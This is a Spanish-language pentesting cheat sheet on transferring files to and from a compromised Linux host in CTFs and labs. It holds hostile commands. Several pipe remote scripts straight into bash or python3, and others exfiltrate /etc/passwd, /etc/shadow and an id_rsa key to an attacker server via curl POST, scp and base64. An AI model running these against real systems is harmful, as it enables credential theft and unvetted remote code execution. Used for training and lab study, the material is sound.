transferencia-de-archivos-en-linux
Transferencia de Archivos en Linux
Section titled “Transferencia de Archivos en Linux”Linux es un sistema operativo versátil que incluye muchas herramientas para transferencia de archivos. La mayoría del malware en Linux usa HTTP/HTTPS para comunicarse con su C2, lo que hace que estos métodos sean tanto los más comunes como los más monitorizados.
Descargas
Section titled “Descargas”Base64
Section titled “Base64”Para transferencias sin red o cuando los canales HTTP están bloqueados.
# Calcular hash y codificarmd5sum id_rsacat id_rsa | base64 -w 0; echo
# Decodificar en el destinoecho -n 'LS0tLS1CRUdJ...' | base64 -d > id_rsa
# Verificar integridadmd5sum id_rsawget y cURL
Section titled “wget y cURL”Las dos herramientas más comunes en distribuciones Linux.
# wgetwget https://servidor/LinEnum.sh -O /tmp/LinEnum.sh
# cURLcurl -o /tmp/LinEnum.sh https://servidor/LinEnum.sh
# Fileless con cURL — ejecutar sin tocar discocurl https://servidor/LinEnum.sh | bash
# Fileless con wgetwget -qO- https://servidor/script.py | python3Bash /dev/tcp
Section titled “Bash /dev/tcp”Cuando no hay wget, curl ni Python disponibles. Funciona con Bash 2.04+ compilado con --enable-net-redirections.
# Conectar al servidor webexec 3<>/dev/tcp/10.10.10.10/80
# Enviar petición GETecho -e "GET /archivo.sh HTTP/1.1\n\n" >&3
# Leer la respuestacat <&3SSH / SCP
Section titled “SSH / SCP”Cuando hay acceso SSH al servidor atacante.
# Habilitar SSH en el servidor atacantesudo systemctl enable ssh && sudo systemctl start ssh
# Descargar archivo desde el servidor atacantescp usuario@192.168.1.100:/root/herramienta.sh .
# Verificar que el puerto está en escuchanetstat -lnpt | grep 22Subidas
Section titled “Subidas”Upload HTTP con servidor Python
Section titled “Upload HTTP con servidor Python”# En el servidor atacante — instalar y levantar uploadserver con HTTPSpip3 install uploadserveropenssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'mkdir https && cd httpssudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Desde el sistema comprometido — subir archivoscurl -X POST https://192.168.1.100/upload \ -F 'files=@/etc/passwd' \ -F 'files=@/etc/shadow' \ --insecureServidores web rápidos para servir archivos
Section titled “Servidores web rápidos para servir archivos”Cuando se controla el sistema Linux comprometido y se quiere que el atacante descargue desde él.
# Python 3python3 -m http.server 8080
# Python 2.7python2.7 -m SimpleHTTPServer 8080
# PHPphp -S 0.0.0.0:8080
# Rubyruby -run -ehttpd . -p 8080# El atacante descarga el archivo expuestowget http://192.168.1.50:8080/archivo.txtSCP Upload
Section titled “SCP Upload”# Subir un archivo al servidor atacantescp /etc/passwd usuario@192.168.1.100:/home/usuario/Referencia rápida
Section titled “Referencia rápida”| Método | Requiere | Fileless |
|---|---|---|
curl | bash |
curl | Sí |
wget -qO- | python3 |
wget | Sí |
/dev/tcp |
Solo bash | No |
scp |
SSH activo | No |
python3 -m http.server |
Python | No |
| Base64 | bash | No |
Para CTFs y labs,
python3 -m http.serveren el directorio donde están las herramientas ywgetdesde el objetivo es el flujo más rápido y fiable.
Al levantar un servidor web en el sistema comprometido para que el atacante descargue archivos, recordar que el tráfico entrante al sistema comprometido puede estar bloqueado aunque el saliente no.